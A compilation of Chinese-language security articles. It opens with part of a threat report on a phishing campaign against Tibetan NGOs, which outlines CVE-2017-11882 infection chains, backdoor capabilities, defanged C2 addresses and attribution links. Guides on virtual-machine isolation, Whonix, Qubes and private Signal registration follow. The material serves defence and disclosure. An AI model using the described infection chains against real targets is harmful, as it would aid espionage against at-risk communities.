我们观察到的 DMShell＋＋ 版本具有相同的功能，但命令和控制的配置不同。 表2 概述了 DMShell＋＋ 的功能以及攻击者使用它的方法（技术细节包含在附录A中 ）。 这个基础脚本使远程攻击者可以对受害计算机进行大量控制。最初部署的通用 **Payload** 会隐藏攻击者的真实能力和意图，以避免防御者检测到入侵企图。

「图」

表*2*：*DMShell*＋＋ 功能概述

感染链：CVE-2017–11882 和 DMShell＋＋

「图」

在活动早期发送的两封钓鱼邮件中，除了之前描述的 PPSX 文件之外，攻击者还使用了第二个漏洞利用文档来部署 DMShell＋＋。 目前还不清楚为什么攻击者使用这种二次方法。 但是，考虑到这两个漏洞补丁发布之间的时间，以及用于执行 PowerShell Payload 的不同方法，攻击者可能希望通过测试两种方法来使其成功率最大化。

第二份文件是旨在利用 CVE-2017–11882 的 RTF 文件。 在这种情况下，此漏洞文档不会从远程位置加载 PowerShell 脚本，而是通过尝试将可执行（EXE）程序写入目标计算机来走上更传统的感染链。 EXE 程序旨在在目标计算机上创建一个小型 PowerShell 脚本，以解码和执行 DMShell＋＋ 的编码版本。 此 DMShell＋＋ 的版本被配置

为使用同一 C2 基础设施作为在同一钓鱼邮件中的 PPSX 文件下载的远程版本（`27.126.186[.]222`上的端口`6001`， `6002`,和`6003`；附录D 提供了一个详细的服务器基础结构概述）。 图3概述了CVE 2017-11822和DMShell＋＋ 感染链。图 *3*：*CVE-2017–11882* 和 *DMShell*＋＋ 感染链

感染链：CVE-2017–11882 和 TSSL Suite

「图」

在 2018 年1月23日发送的钓鱼邮件中，攻击者还使用了一个旨在利用 CVE-2017–11882 并在执行文件中嵌入的 Payload 的 RTF 文档。 但是，在这种情况下，攻击者部署了一组完全不同的工具。

当我们分析作为此感染链的一部分写入磁盘的文件时，我们观察到多个程序数据库（PDB）字符串。 可用时，PDB 字符串可以指示恶意软件创建者的环境以及已开发恶意软件的名字。

```
D:\Work\Project\VS\house\Apple
\Apple_20180115\Release\InstallClient.pdbD:\Work
\Project\VS\house\Apple\Apple_20180115\Release
\FakeRun.pdb
```

这些 PDB 字符串与一组称为 TSSL 的工具一致，这些工具之前已由趋势科技和普华永道描述，并与 KeyBoy 和热带骑兵活动相关。

在这些报告中分析的 TSSL 套件包括一个名为 FakeRun 的加载器和一个名为 TClient 的后门程序。 虽然我们分析的样本与先前报告的实例（ 例如版本号、配置数据的存储、启动 Payload 的方法）存在一些差异，但我们得出结论，它们可能基于相同的源代码（有关详细的比较分析，请参阅 附录B 样品）。 图4 概述了 CVE 2017–11882 和 TSSL 套件感染链。图*4*：*CVE-2017–11882* 和 *TSSL Suite* 感染链

第2部分：调查妥协

「图」

本节描述了西藏 *NGO* 的妥协，并分析了感染后的攻击者的行为。

该活动的第四封钓鱼邮件于 2018 年1月23日发送给为西藏 NGO，媒体和 CTA 工作的一系列目标。 该消息似乎是从西藏博物馆、CTA的

官方博物馆的馆长那里发送的。 附在电子邮件中的是 **RTF** 和 **PPSX**，邮件声称提供有关西藏国家博物馆的信息（见图5）。 这些文件包含 CVE-2017–11882 和 TSSL Suite 感染链。图*5*：发送给西藏活动家的钓鱼邮件

特别是有一个 **NGO** 受到严重攻击，并有多名工作人员收到电子邮件。 该小组的一名高级工作人员在办公室的计算机上打开了附件并遭到了入侵。 通过组织网络的事件响应，我们观察了攻击者在感染后采取的行动，并确定了第二个后门的使用。

网络日志显示了对于 IP 地址`115.126.86[.]151`上的端口`6001`，`8080`，和`8100`的连接，这与 TSSL 植入的配置文件匹配。 这个后门被配置为每隔 20 分钟与 C2 服务器通信，但我们很快注意到在分析网络日志期间，大多数连接实际上被 C2 服务器拒绝了。 基于这些模式，似乎 C2 服务器在一天中的大部分时间是关闭的，仅在一个很短的时间窗口内有效。

TClient 样本一直使用到1月29日，当时在受感染的系统上部署了一个新的后门，与表3中列出的新 C2 服务器进行通信。 我们将新的后门称为“DSNGInstaller”，这个名称源于 Payload 的内部名称，讽刺的是 DSNG 是数字卫星新闻采集(Digital Satellite News Gathering, DSNG)的公认首字母缩略词。 两个后门都活跃到2月8日，然后 TClient 样本被删除。

「图」

表*3*：*DSNGInstaller* 后门的 *C2* 配置

表4 概述了 DSNGInstaller 的功能（技术细节包含在附录C 中 ）。 这些功能类似于 TClient 提供的功能。表*4*：*DSNGInstaller* 后门的功能

虽然目前尚不清楚为什么攻击者在多日成功地未被检测到之后换用了其他恶意软件，但我们会考虑潜在的情况。 TSSL 恶意软件可能被我们不知道的其他目标检测到，这导致攻击者换用检测率较低的鲜为人知的工具。 另一种可能的情况是，攻击者认为 DSNGInstaller 工具的接口更加强大，因此对于预期的长期访问更为可取。 最后，DSNGIntaller 可能是另一个攻击者的首选工具。 最后一种情况将代表多个远程攻击者之间会将其监视受害者转手。

第 3 部分：熟悉的联系

「图」

本节重点介绍议会活动和重浮水面活动之间的联系，以及称为“热带骑兵”的行动。

活动联系

「图」

重浮水面活动中使用的策略、技术和程序将其与议会活动和被称为“热带骑兵”的行动联系起来。

趋势科技于 2015 年发布了第一份关于热带骑兵行动的公开报告 ，描述了针对台湾和菲律宾政府机构，军事机构和公司的恶意软件活动。该活动利用了旧漏洞（ CVE-2010–3333和CVE-2012–0158 ）并使用了定制的恶意软件，趋势科技将其视为 TROJ_YAHOYAH和 BKDR_YAHAMAM。

趋势科技指出，Yahoyah 恶意软件使用与 Rapid7 分析的 2013 版 KeyBoy 相同的编码配置文件算法，认为在这些活动或至少恶意软件的开发者之间是有联系的。

在 2016 年议会活动中使用的 KeyBoy 样品与 Rapid7 所描述的样品在配置文件的编码上发生了显著的变化。 在 2013 的版本中，配置文件使用简化的基于静态密钥的算法进行编码。 较新的编码算法放弃了静态加密密钥的使用，转而使用动态构造的查找表。重浮水面互动和议会活动之间的主要联系是重复使用雅虎电子邮件地址（ `Tibetanparliarnent[@]``yahoo.com``` ）向西藏社区的目标发送钓鱼邮件。

最近，在 2018 年，趋势科技发布了热带骑兵的更新 ，注意到包含不同漏洞（ CVE-2017–11882 ， CVE-2018–0802 ）和 TSSL 工具套件的新感染链。 观察到的 C2 服务器中有一个域名（ `tibetnews[.]today` ），它与重浮水面活动中使用的域名的注册人信息相同。

图6 概述了这些活动之间的联系。图6：重浮水面，议会和热带骑兵活动之间的联系

评估联系

「图」

活动之间的关系通常通过使用共同的技术指标（ 例如，恶意软件、服务器基础设施等）来绘制。 在某些情况下，这些联系可以把多个活动归因到某个“攻击者”或“小组”。 这些联系可以具有不同程度的强度，这也使得将活动归因到特定攻击者的可信度不同（参见表5）。

「图」

表*5*：联系类型和置信水平概述

一阶联系通常需要直接观察针对目标的恶意活动，因此可能不会公开（例如，安全公司从客户获取数据）。 相比之下，二阶和 N 阶联系通常可以在研究人员之间被标准化，并用于在活动之间建立联系。

例如，卡巴斯基根据使用的工具将据称是中国的威胁组织称为 Winnti 。 随着时间的推移，不同的活动和工具被分组在相同的名称下，例如，Microsoft 将与 Winnti 关联的多个小组称为“BARIUM”和“LEAD”。

虽然分组中的这些差异源于不同的一阶联系，但已经确定足够的二阶和 N 阶联系，以确定这都是 Winnti 的活动，ProtectWise 最近在报告中做了这一点。 在这些情况下，指标是有用的，但联系的强度可能不是很明显，并且可能导致非常广泛的分组和抽象。

对于热带骑兵，多家安全公司已经宣称他们建立了活动与攻击者的联系。 这些主张背后的证据强度并不总是很明显，但大多数似乎是二阶和/或 N 阶联系。 表 6 和图 7 详细介绍了这些报告中的联系。

「图」

表*6*：将恶意软件活动与热带骑兵联系的报告概述

*注意 ：此报告是第一次将 TSSL 工具包与热带骑兵相联系。 趋势科技未解释他们如何建立联系。图*7*：将活动和恶意软件与热带骑兵相联系

第 4 部分：分析封闭生态系统的挑战

本节讨论调查封闭式间谍活动的挑战，并将我们的调查置于更广泛的针对流亡藏人的数字间谍活动的趋势中。

重浮水面活动使用了一系列新的和以前观察到了的工具，这些工具与以前用于热带骑兵活动的工具有相同的技术特征。 但是，仅凭这些联系并不能让我们最终确定这些活动是由同一个攻击者运作的。 这种含糊不清的态度说明了在分析活动之间的联系以及理解封闭式间谍生态系统中不同参与者角色时所带来的一些分析上的挑战。

研究人员会给攻击者分组命名以识别他们。 虽然名称是至关重要的，但正如弗洛里安·罗斯（Florian Roth）和其他人所指出的那样，选择这些名称的过程可能会导致同一组拥有多个名称以及可能对名称所指的混淆。 这些活动与热带骑兵背后的“攻击者”之间的区别显示了其中的一些挑战。

关于热带骑兵的报告在描述它时使用了各种各样不同的，有时是模糊的方式（见表7）。 这种变化指出了使用一致命名所固有的一些麻烦：名字是指恶意软件活动，它们背后的“攻击者”，还是常见的工具集？ 它并不总是很清楚。

命名的复杂性部分源于主要活动中可能存在的多个操作角色。 这些角色可能包括恶意软件开发人员、攻击者以及情报人员。 这些角色之间的关系可以是简单的，也可以是多层的。 例如，开发人员可以兼作攻击者。 恶意软件开发人员可以与多个攻击者共享相互独立的工具。 情报人员可能是活跃的（ 即 直接参与攻击活动）也或被动的（ 即 从攻击者那里获得信息）。

不幸的是，在重浮水面活动中，我们看不到其组织角色的情况，这将不利于我们将其与热带骑兵之间建立更具决定性的关系。 同时，攻击者可以使用相同的工具来为多个情报人员处理多个任务。 当在活动间建立联系的主要手段是识别工具和基础设施时，这些复杂性就有可能带来挑战。

看看重浮水面活动中恶意软件和基础设施开发的时间表，可以说明这些挑战。 图8 显示，虽然基础设施是在发送第一个钓鱼邮件之前几个月部署的，但恶意软件的构建都是在活动开始前不久完成的。 基础设施部署和恶意软件构建之间的时差，再结合这次活动在代码上与热带骑兵相似的事实，表明恶意软件可能是在小组之间共享的资源。图 *8*：重浮水面活动中恶意软件和基础设施的开发时间表

重浮水面活动和议会活动与热带骑兵之间的联系识别攻击者以及他们与封闭间谍生态中其他成员的互动是困难的。 虽然这些活动共享工具和基础设施存在N阶联系，但仅根据这些信息，我们无法确定地说这些活动是由一个团体进行的。 被认为是热带骑兵的活动也针对一系列

政府、工业和民间团体目标，这可能表明具有多个情报消费者。

一种封闭间谍生态的观点 A View into Closed Espionage Ecosystems

「图」

虽然开发者，攻击者和最终情报消费者之间的关系往往不明确，但美国司法部（**DOJ**）最近对中国境内的间谍团体提出的起诉书提供了这些团体如何互动的一瞥。

2014年，美国司法部指控五名人民解放军军官经济间谍罪。 据称，这些军官是 APT1 黑客组织的一部分， Mandiant 首先将其确定为人民解放军总参谋部第三局的第二局。 APT1 针对众多政府和 500 强公司，但公民实验室也发现了其针对西藏活动家和大型国际非政府组织 的行动。

根据起诉书 ，**APT1** 服务的情报消费者包括：中国政府、以及寻求竞争对手知识产权和信息的中国公司。

在 2014 年的另一起案件中，美国司法部指控一名名叫苏斌的中国公民参与长期共谋，破坏美国主要的国防承包商，并向中国的实体出售有关技术项目的被盗信息。

苏斌与两名名字未知的阴谋家合作进行了入侵。 起诉书指出，共谋者位于中国，并与“中国的多个组织和实体”有关。 共谋者获得了 220 万元人民币（约合 995,400 美元）。 这些攻击者彼此分享了一份报告 ，详细说明了针对其中一个目标的成功入侵行动。 该报告包括对“过去的成就”的描述，包括窃取“民主运动”（针对香港的民主活动家）和“西藏独立运动”的文件。

这些案例对开发商、攻击者和情报消费者之间的互动提供了罕见的一瞥，这表明情报消费者们为经济间谍活动提供数百万美元的计划同样可以用在民间组织上。 虽然第一类行动可能导致知识产权和财产损失，但第二类可能会对目标个人或其家庭造成直接伤害。

解决分析挑战

「图」

安全研究人员通常没有 DOJ 起诉书中引用的证据和透明度水平，并

且必须依靠现有的技术指标来跟踪群体并假设他们在封闭的间谍生态系统中的动机和作用。

未来工作的一个可能领域是使用正式方法（ 即 计算机科学中开发的用于描述硬件和软件系统属性的数学技术）来关联技术指标和活动。 这些技术可以提供更加系统的方式来将小组联系在一起，并减轻模糊性。

但是正如我们所讨论的，攻击者和恶意软件开发人员的识别只是其中的一个难题。 了解数字间谍活动的最终危害需要与目标社区进行互动。

显示危害：公民社会的视角

「图」

数字间谍已经成为流亡藏人的常见威胁。 数字安全意识和防御方法现在已成为社区的必需品。 根据这一经验，对于藏人来说，间谍活动的危害是显而易见的。 西藏数字安全培训师 Lobsang Gyatso Sither 提供了一个观点：

> “对于社区来说，摆脱‘我无所遁形’的思维方式非常重要，要思考我们之间的关系以及这些关系可能导致何种伤害。 流亡藏人通过各种组织相互联系，如果你受到了损害，你将成为最薄弱的环节，并允许间谍获得可用于锁定其他藏人的信息。 流亡藏人也经常与西藏境内的藏人接触，在那里伤害可能很严重——包括逮捕，拘留和监禁。

近年来，我们已经看到攻击者改用了网络钓鱼的策略，这使得重浮水面活动成为自 2016 年以来首次被发现的针对一个社群的恶意软件活动实例。

该活动采用熟悉的社会工程技巧与定制的恶意软件相结合。 为了应对数字间谍活动的持续威胁，西藏团体已经开展基层工作以增加数字安全教育，但改变行为和学会技能需要时间和耐心。

至少有一个组织受到重浮水面运动的影响，这表明熟悉的策略仍在使用，因为它们仍然有效。 然而，藏人并没有被这些威胁所阻挡，而是继续进行艰苦而必要的工作，以增强他们社区的能力，并防御数字间谍的攻击。〇

原文

AS28 系统被攻击、用 Tor 被钓鱼、好奇害死猫，怎么办？- 把危险隔离出去 - iyouport

护盾（AS）

【2018年7月5日存档】江湖险恶啊，坏蛋已经够多了，情报机构比坏蛋更恶毒，他们能把你扔进监狱。可天下没有绝对安全，我们该如何尽可能保护自己？

大众操作系统，包括 Windows，Mac OS X 和 Linux，太容易破解了。稍不留神—比如打开了带有木马的电子邮件附件、安装了伪装成 Flash 的恶意软件、没有足够快地更新软件 等等—都会让你成为攻击者的盛宴。

攻击者可以访问您的所有文件，可以记录您的按键、截取屏幕快照，甚至可以通过麦克风窃听，并通过网络摄像头偷窥。

但是你可以将最要紧的文件和程序与计算机的其他部分隔离开来。包括即使你打开了可能是未知的附件，也可以保护你的系统。再比如访问不太确定的网站—色情网站，洪流网站，盗版电视和体育网站—或测试从网站随机下载的软件，虚拟化技术都可以将危险隔离出来。

你还可以通过它来保持在线匿名，通过确保所有互联网流量通过它进行路由来保护 Tor 提供的隐私护盾—即使软件，如 **Tor Browser** 或 **Pidgin**，也有可能被特意攻击，攻击者有可能绕过 **Tor**。

很多地方都会用到虚拟化技术，比如sandbox、程序保护壳等。

> 本文是虚拟机上的简单入门，包括如何在其中一安装 Ubuntu Linux 发行版。再介绍一个

虚拟机 **VM**

每个虚拟机在运行时都会使用计算机内存的一大块，并拥有自己的虚拟硬盘，这只是真实硬盘上的一个文件。可以在其中安装操作系统和运行软件，可以在执行具有潜在危险的操作之前保存快照，并在完成

后还原快照，从而将 VM 恢复到先前的状态。

在虚拟化术语中，您现在运行的操作系统称为“主机”，您运行的每个 VM 都是“来宾 / 访客”。如果来宾虚拟机被骇客入侵，您的主机将保持安全。

出于这个原因，安全研究人员经常使用 VM 来研究病毒：在来宾虚拟机上释放病毒，以安全地监控它们正在尝试做什么以及如何工作，他们将病毒与其他计算机“隔离”起来。

本文使用名为 VirtualBox 的虚拟化软件。它是开源的，可以免费下载。VirtualBox 适用于 Windows，Mac OS X 和 Linux。如果您尝试，可以在这里下载并安装副本。

一般来说，首先在虚拟机中安装 Linux 发行版更简单。可以根据需要随意安装任意数量的 Linux 虚拟机—轻松设置。

如果想要在虚拟机内测试 Windows 或 Mac OSX 的软件以查看它是否恶意，还可以在 VM 中安装这些操作系统。但是有限制。例如，虽然 OS X 可以免费安装在最多两台虚拟机上，但是当您这样做时必须是在 Mac 上；在 Windows 上，您可能需要为每个 VM 购买单独的 Windows 许可证。以下是在 VM 中安装 Mac OS X 以及在 VM 中安装 Windows 10 的说明。

不必担心破坏任何东西，你可以随时删除您的 VM 重新开始。这就是虚拟机的好处：用电子游戏的说法就是，你获得了无限的生命。

创建 **VM** 并安装 **Ubuntu**

希望您已经按照上面的说明下载并安装了 VirtualBox。接下来，跳到 Ubuntu 的网站并下载 Ubuntu 的副本。

现在打开 VirtualBox 并单击“新建”以创建新 VM。下面是正在调用虚拟机“ubuntu-test”。

您可以选择新 VM 将具有多少内存，然后为其创建新的虚拟硬盘。您分配给 VM 的资源将无法用于计算机上的其他程序。最后，单击“创建”。

下一步是安装 Ubuntu。选择“ubuntu-test” VM 后，单击“开始”启动它。由于虚拟机是全新的，它会提示插入操作系统安装盘。当然实际上并不需要“磁盘”，相反可以找到并选择磁盘映像文件，然后单击“开

始”。

现在 VM 开始启动到 Ubuntu 磁盘。注意，如果您单击虚拟机窗口，VirtualBox 会警告您 VM 将“捕获”您的鼠标和键盘输入，这意味着当您移动鼠标并在键盘上键入时，您将在您的来宾虚拟机中执行此操作，而不是您的主机上。

您可以按“主机键”使鼠标和键盘再次控制常规计算机。在 Mac 上，主机键是左“Command”键，在 Windows 和 Linux 上，它是右键“Ctrl”键。

Ubuntu 磁盘已完成启动。点击“安装 Ubuntu ”并按照简单的说明操作。

选择“擦除磁盘并安装Ubuntu”（不用担心，只是擦除虚拟机的虚拟磁盘）。编写一个用户名和密码登录到这个 VM，然后将让它完成安装。当它最终完成后，VM 将重新启动到刚安装的操作系统中（安装 Ubuntu 后，VM 在重启时也许无法完全关闭。如果您也遇到这种情况，请单击“机器”菜单并选择“重置”以强制重新启动 VM）

更新 **VM** 内的软件

要及时更新软件哦，养成习惯，在虚拟机中也坚持这样做。

要更新 Ubuntu 中的所有软件，运行“软件更新程序”，输入密码，然后等着它干活儿。由于你刚刚安装了此操作系统并且从未进行过更新，因此下载和安装所有内容可能需要一段时间。

Guest Additions

现在就是安装 VirtualBox Guest Additions 了。Guest Additions 不是必需的，但它允许你做一些便捷的操作，比如调整 VM 窗口大小，在主机和来宾机之间共享剪贴板，设置共享文件夹，以便来宾机 VM 可以访问主机上的特定文件。

要安装 Guest Additions，需要将包含该软件的虚拟 CD 插入 VM。您可以通过单击屏幕顶部的“设备”菜单，从 VirtualBox 程序中选择“插入Guest Additions CD图像“。它会弹出一个对话框，要求获得安装许可。单击“运行”，VirtualBox 将打开一个显示安装进度的新窗口。

完成后，重新启动 VM。您可以通过单击右上角的齿轮，点“关机”，然后单击“重新启动”来执行此操作。

你能看到上面菜单中的选项分别是：“已禁用”，“主机到访客”，“访客到主机”或“双向”。除非您需要在访客虚拟机和主机之间进行复制和粘贴，否则最好将此设置保持为“已禁用”。您可以随时暂时启用剪贴板共享，完成后再次禁用它。⚠ 这个很重要哦。

共享文件夹

共享文件稍微复杂一些。首先，您需要将用户添加到 VM 中的“vboxsf”组（如果您不明白这意味着什么也不用担心）。单击左上角的 Ubuntu 徽标，键入“terminal”，然后单击 Terminal 图标以在 VM 中打开终端。然后输入：

```
sudo usermod -a -G vboxsf $(whoami)
```

您还必须在 VM 中键入 Ubuntu 中的用户帐户密码，这是您之前设置的密码。然后关闭你的 VM。

在 VirtualBox 窗口中选择您的 VM 并单击“设置”，然后转到“共享文件夹”选项卡。单击“＋”图标以添加要与 VM 共享的文件夹。

隔离 **VM** 内部的危险行为

在做一些您认为可能会破坏 VM 或可能会遭恶意软件感染的动作之前，您可能希望保存它的快照，以便在完成后恢复它。可以通过单击屏幕顶部的 VirtualBox 的“计算机”菜单并选择“拍摄快照”来保存快照。

」打开您不信任的文档

被骇客攻击的最简单方法之一就是打开恶意文档。攻击者可能会通过电子邮件向您发送一个陷阱。如果你点开它了，该恶意文件将利用操作系统或 Adobe Reader 或 Microsoft Word 等软件中的缺陷，从而允许攻击者接管您的计算机。

我们并不总是清楚哪些文件是安全的，哪些是恶意的。一个聪明的攻击者可以假装邀请你参加你感兴趣的会议，并附上一个伪装成会议日程的恶意文件，或者他们可以假装招聘你提供你的梦想工作，并附上一些看起来像是职位的描述—总之他们对你调查很久了，完全可以提供你最感兴趣的东西吸引你。

最安全的方法是不打开任何附件或点击电子邮件中的任何链接，但这是完全不可行的，特别是对于积极征求消息来源的记者或活动家来

说。

您可能还会在网上找到您真正想要查看的文件，但不确定是否安全。例如，Hacking Team 电子邮件归档中的文档。你可能不应该相信那些，但无论如何你可能想看看它们。

这是一封电子邮件，黑客团队的员工似乎在讨论如何向埃及国防承包商提供他们的黑客服务演示。附件被称为“Exploit.docx”，似乎合法？

如果我尝试在 Chrome 中打开这个可疑文件，浏览器会抛出安全警告，这是有充分理由的。从 Hacking Team 存档下载的任何附件可能会让人被入侵。

相反，你将右键单击该文档并将其保存到 vbox_share 文件夹（单击 Chrome 的警告，因为我打算单独查看此文档）现在回到 VM 中，就可以看到该文档了。

💡 为了更加安全，在打开这些文档之前，断开 **VM** 与互联网的连接。单击屏幕顶部的“设备”菜单，选择“网络”，然后取消选中“连接网络适配器”。这样当你打开文档时，如果它试图破解你的虚拟机并连接到命令和控制服务器，甚至只是打电话回家提醒文件所有者它已被打开，它都无法做到。

每当您在 VM 中打开可疑文档时，最好都这样做。

』 访问奇怪的网站

在日常使用的普通计算机上，强化 Web 浏览器始终是个好主意。安装阻止广告和恶意软件的浏览器插件，对于阻止可能试图通过 Web 浏览器接管您的计算机的软件大有帮助。

但即使做了所有这些事，也无法保证只是通过加载网站就不会被黑客入侵。如果您打算访问一个您认为可能会遭受黑客攻击的网站，通过 VM。

您甚至可以为此目的设置专用 VM。（如果在上一步中关闭了网络，可以通过单击“设备”菜单，转到“网络”并选中“连接网络适配器”再次启用它）

』 运行易受攻击的软件

所有程序都包含 bug，这些 bug 可能被利用来接管计算机。不被骇客攻击的最简单彻底的方法是不使用计算机，但这肯定不是一种选择;我们仍然需要运行程序。

有些程序的攻击面比其他程序大得多。例如，libpurple，为加密聊天程序 Pidgin 和 Adium 提供支持的底层代码，因其最初写于1998年的旧的臃肿的，可能有缺陷的源代码而受到严厉批评（近年来许多关键的 libpurple 错误得到了修复，所以它目前的形状要好得多）但是，如果您想在计算机上进行加密聊天对话，那么除了使用它之外，您没有很多选择。

如果您依赖某个软件，但是您认为在主机上运行它会增加被黑客攻击的可能性，您可以设置专用 VM 来运行该程序。

例如，⚠ 如果您的专用聊天虚拟机通过 Pidgin 攻击被入侵，攻击者将能够监视你在 Pidgin 中加密的聊天对话，但即便如此，🔐 他们也无法访问您计算机上的其他文件。他们将无法查看您在网络浏览器中保存的密码，或通过麦克风窃听，也无法阅读电子邮件或其他任何密码。

你还是要小心

「图」

所有软件都有错误，当然也包括虚拟化软件。虽然隔离 VM 内部的危险活动大大降低，但从来没有绝对安全。

⚠ 如果您的虚拟机被攻击，那么攻击者可以逃脱您的虚拟机，以便在您的主机上自由运行和更改程序。为此攻击者必须利用虚拟化软件。这些错误很少见，但确实发生过。

您还应该小心如何使用上面描述的 VirtualBox 剪贴板共享和文件共享功能。

例如，如果有人攻击了共享剪贴板设置为“Host to Guest”或“Bidirectional”的 VM，则攻击者可能会监视您复制到主机上剪贴板的内容—例如密码。

🌤 **Whonix** 以保持匿名

Whonix 是一个操作系统，您可以在 VirtualBox 内部的现有计算机上

安装，这会强制所有网络流量通过匿名网络 Tor。

关于 Tor 我们介绍过很多啦，可以在这里找到。但 Tor 浏览器和所有其他软件一样，都有漏洞，是的他们更新是很快的。如果您访问 **Tor** 浏览器中的网站，该网站可以假装利用严重的错误强迫您的计算机与 **Tor** 网络外的攻击者建立互联网连接，让他们了解您的真实 **IP** 地址和身份。这正是**联邦调查局在2013年9月时抓人用的歪点子**。

🔐 Whonix 使用两个虚拟机，称为 Whonix-Gateway 和 Whonix-Workstation，以最大限度地保护匿名。

网关 VM 充当工作站 VM 的上游互联网提供商，它强制所有网络流量通过 Tor 网。工作站 VM 是您使用 Tor 浏览器的地方。如果你被攻击，例如使用类似 **FBI** 用过的 **Tor** 浏览器漏洞攻击，攻击者不仅被包含在此 **VM** 中无法访问您的主机，也无法打破匿名化。攻击者所做的所有网络连接都将通过网关 **VM**，迫使他们通过 **Tor**。

Whonix 非常棒，因为您可以确信在工作站 VM 中所做的一切都是匿名通过 Tor 网的。这意味着攻击者无法对您验明身份，除非他们可以逃离您的虚拟机。

您可以使用 XChat 等聊天软件匿名连接到 IRC 服务器，或者使用 Pidgin 连接到 Jabber 服务器进行匿名加密聊天，或使用 Icedove 和 Enigmail 发送匿名加密电子邮件。

⚠ 但请记住，Whonix 与其他基于虚拟机的安全性一样，如果您的主机遭到攻击或被占用，它是无法保护您的。如果您使用 Whonix 匿名向记者发送文档，并且被专制政府怀疑为嫌疑人，您的 Whonix VM 中可能包含可用于对您定罪的证据！⚠

安装和配置 **Whonix**

转到 Whonix VirtualBox 下载页面并下载 Whonix-Gateway 和 Whonix-Workstation 的副本（总共3.1GB，因此可能需要一些时间）。验证 PGP 签名也是一个好主意，我们以前介绍过。

下载完成后，打开 VirtualBox，单击顶部的“文件”菜单，然后单击“导入设备”。浏览刚刚下载的 Whonix-Gateway 文件，然后单击“继续”。

现在单击“导入”，阅读警告，然后单击“同意”。您的 Whonix 网关 VM 将自动设置。使用 Whonix-Workstation 重复这些相同的步骤。

完成后，VirtualBox 中将有两个新 VM。

启动 Whonix-Gateway 和 Whonix-Workstation。您需要在后台打开网关 VM，否则工作站 VM 将无法访问 Internet，但您将在工作站中完成大部分工作。

当网关 VM 第一次完成引导时，您需要对其进行配置。单击“Whonix 安装向导”以启用 Tor 和自动更新。

单击工作站 VM 中的“Whonix 安装向导”。在两个 VM 中，更改默认密码并更新软件。

现在是时候开始使用 Whonix 了。在工作站 VM 中，继续并打开 Tor Browser。它会在您第一次尝试打开时自动下载并安装它。一旦打开，您可以匿名浏览网页，即使 **Tor** 浏览器被攻击，也可以保持匿名。

Qubes：隔离的安全性

由于所有软件都有错误，隔离自己的 VM 中的每个程序是不是最安全呢？ Qubes 是一个操作系统，可以做到这一点，并且比传统操作系统中使用 VirtualBox 或 VMWare 等虚拟化软件更加可用和安全。

在 Qubes 中，您的主机运行图形桌面环境，就是这样—主机甚至无法访问 Internet。您可以在 Linux 或 Windows VM 中运行所有其他软件。 Qubes 也对 Whonix 有很大的支持。如果在 Qubes 中使用 Whonix，则与使用传统操作系统时相比，主机的受攻击面要小得多。

Qubes 可以轻松管理不同“安全域”的单独 **VM**。例如，您可以创建用于检查工作电子邮件并登录工作相关帐户的工作 VM，以及您使用的单独个人 VM 登录 Facebook。您可以创建用于日常 Web 冲浪中的不受信任的 VM，以及用于存储敏感文件（如密码数据库）或您正在处理的机密文档的 Vault VM。您可以右键单击任何文档以在“一次性 VM”中打开它，这是一个仅为查看此文档而创建的 VM，然后在关闭文档时再次删除。

虽然它拥有一个活跃的开发社区和不断增长的用户群，但 Qubes 对于非高级用户来说并不容易使用。除非您已经习惯从命令行解决 Linux 问题。在 Qubes 中，诸如如何安装新程序或截取屏幕截图这样的简单问题可能会让初学者产生陡峭的学习曲线。

🔐 但总而言之，如果您使用 **Qubes**，您可以将计算机变成一个令人难以置信的复杂而安全的堡垒，这与传统操作系统不同。

最后再唠叨一句，所有软件都有 bug，包括 Qubes 和 Xen，这是为 Qubes 提供动力的虚拟化软件。即使您正在运行 Qubes，并立即更新所有软件，并仔细隔离所有软件，只打开一次性 VM 中的文档，并在 Whonix 工作站内的 Tor Browser 中进行所有浏览，您的主机仍然可能被攻击，只要攻击者拥有大量资源、耐心以及掌握零日漏洞。这里是关于零日漏洞的白话级介绍。情报机构花大价钱买这东西，足见他们是有多坏。〇

原文

AS30 如何在不必暴露真实电话号码的情况下使用 Signal - iyouport

护盾（AS）

【2018年10月31日存档】关联电话号码这事不怎么靠谱，但是有些端对端通讯的确是这么设计的，其中 Signal 就是个典型。如果您必须使用它，又不希望您的私人电话号码曝光，方法还是有的，本文就说说这个怎么玩；还需要说说在 Signal 中如何防止中间人攻击；以及如何在语音视频通话中隐藏您的真实 IP 地址（因为它默认对方可见）

就在几年前，发送加密信息还是一项挑战。刚开始，你不得不花费数小时折腾那些充满行话的教程，或者有幸找到一个书呆子哥们儿来教你。在这个过程中幸存下来的少数人很快就遇到了第二个障碍：他们只能与那些已经成功完成相同环节的人使用加密通信。因此，即使有人最终设置了加密，如果他们想要联系的人并没有加密，也是白搭。

今天的情况要好得多了。有许多流行的应用程序非常简单易用，可以使加密像发送短信一样简单。其中 Signal 开源软件是很活跃的，记者、活动家和其他被当局盯着的人已经喜欢它很久了。你没必要学习绕嘴的技术名词，也不需要知道“公钥“是什么鬼，就能获得良好的安全性。

但 Signal 和很多其他同类应用一样，存在一个主要问题：您的帐户被与电话号码相关联。

虽然，这使得这些应用程序非常易于使用，还可以轻松发现其他使用该应用的朋友; 如果某人是您手机中的联系人并安装了该应用，您可以毫不费力地与之联系。

但是，这也意味着如果您希望人们能够安全地向您发送消息，就需要分发您的电话号码给对方。这使得与公众互动的人处于尴尬的境地：对方值得您公开私人电话号码吗？

本文将解释如何创建第二个可以安全注册的 Signal 电话号码，这样陌生人就可以轻松安全地与您联系，同时您的真实电话号码仍然是私密的。

为什么你不应该公开自己的电话号码？

电话号码很可能会被滥用。支持言论自由的活动家 Jillian York 在她的个人博客上写道：“作为一名女性，将我的电话号码发给陌生人会产生一种中等风险：如果他在半夜打电话给我怎么办？如果他通过短信骚扰我怎么办？如果我必须换号以远离他是有多麻烦“。

如果你是一个公众人物，特别是如果你是一名女性或少数族裔，你肯定熟悉那些性别歧视或种族主义的混蛋在 Twitter，Facebook 和文章评论部分对你大吼大叫甚至威胁。发布您的私人电话号码可能会使这个问题变得更糟。

电话号码还会引发在线帐户被攻击的危险。去年就有人通过接管私人电话号码来攻击种族司法活动家 DeRay Mckesson 的 Twitter 和电子邮件帐户。攻击者打电话给 Verizon 并冒充 Mckesson，要求将与他的电话号码相关联的 SIM 卡更改为被他们控制的新 SIM 卡，这样他们就可以窃听发送给他的短信。

